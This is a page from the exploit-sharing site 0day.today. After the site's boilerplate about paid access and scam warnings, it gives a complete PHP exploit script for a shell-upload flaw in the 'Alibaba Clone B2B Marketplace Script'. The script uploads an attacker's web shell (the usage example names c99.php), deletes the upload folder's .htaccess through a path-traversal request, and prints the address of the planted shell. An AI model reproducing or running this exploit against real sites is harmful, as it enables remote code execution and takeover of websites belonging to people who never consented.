0day.today - Biggest Exploit Database in the World.
Things you should know about 0day.today:
Administration of this site uses the official contacts. Beware of impostors!
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!
Please, beware of scammers!
Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Alibaba Clone B2B Marketplace Script Shell Upload Vulnerability
<?php ini_set("display_errors","off"); error_reporting(0); function PostToHost($host, $port, $path, $postdata, $filedata) { $data = ""; $boundary = "---------------------".substr(md5(rand(0,32000)),0,10); $fp = fsockopen($host, $port); if(!$fp) { print "[-] $host host not found\n"; die; } fputs($fp, "POST $path HTTP/1.0\n"); fputs($fp, "Host: $host\n"); fputs($fp, "Content-type: multipart/form-data; boundary=".$boundary."\n"); foreach($postdata as $key => $val){ $data .= "--$boundary\n"; $data .= "Content-Disposition: form-data; name=\"".$key."\"\n\n".$val."\n"; } $data .= "--$boundary\n"; $data .= "Content-Disposition: form-data; name=\"{$filedata[0]}\"; filename=\"{$filedata[1]}\"\n"; $data .= "Content-Type: image/jpeg\n"; $data .= "Content-Transfer-Encoding: binary\n\n"; $data .= $filedata[2]."\n"; $data .= "--$boundary--\n"; fputs($fp, "Content-length: ".strlen($data)."\n\n"); fputs($fp, $data); $res = ''; while(!feof($fp)) { $res .= fread($fp, 1); } fclose($fp); return $res; } function step2($host) { $ex = "admin/manage_pages.php?page=../uploadedimages/.htaccess&delpage=yes&tmp=1"; $fp = fsockopen($host, 80); if(!$fp) { print "[-] $host host not found\n"; die; } $out = "GET /$ex HTTP/1.1\r\n"; $out .= "Host: $host\r\n"; $out .= "Connection: Close\r\n\r\n"; fwrite($fp, $out); $re = ''; while (!feof($fp)) { $re .= fgets($fp, 128); } fclose($fp); } if($argc < 3 || $argc > 3 ) { print "Alibaba Clone B2B Marketplace Script Shell Upload Vulnerability All Versions\n"; print "Exploit Author:Meisam Monsef\n"; print "Email:meisamrce@yahoo.com or meisamrce@gmail.com\n"; print "Usage:alibaba.php host shell-file.php\n"; print "Ex:alibaba.php www.example.com c99.php\n"; die; } $host = $argv[1]; $shellFile = $argv[2]; if(!file_exists($shellFile)) { print "[-] $shellFile shell file not exists!\n"; die; } print "[+] connecting $host ...\n"; $postdata = array('uploadfile'=>'Upload'); $data = file_get_contents($shellFile); $filedata = array('userfile',$shellFile, $data); $result = PostToHost ($host, 80, "/doupload.php", $postdata, $filedata); print "[+] uploading shell file to $host ...\n"; $result2 = explode("fname = '",$result); $result3 = explode("'</script>",$result2[1]); $shellFileNew = trim($result3[0]); if($shellFileNew == "") { print "[-] $host not vulnerable\n"; die; } print "[+] success shell upload\n"; $url = "http://$host/uploadedimages/$shellFileNew"; step2($host); print "[+] shell url : $url\n"; ?> # 0day.today [2024-12-24] #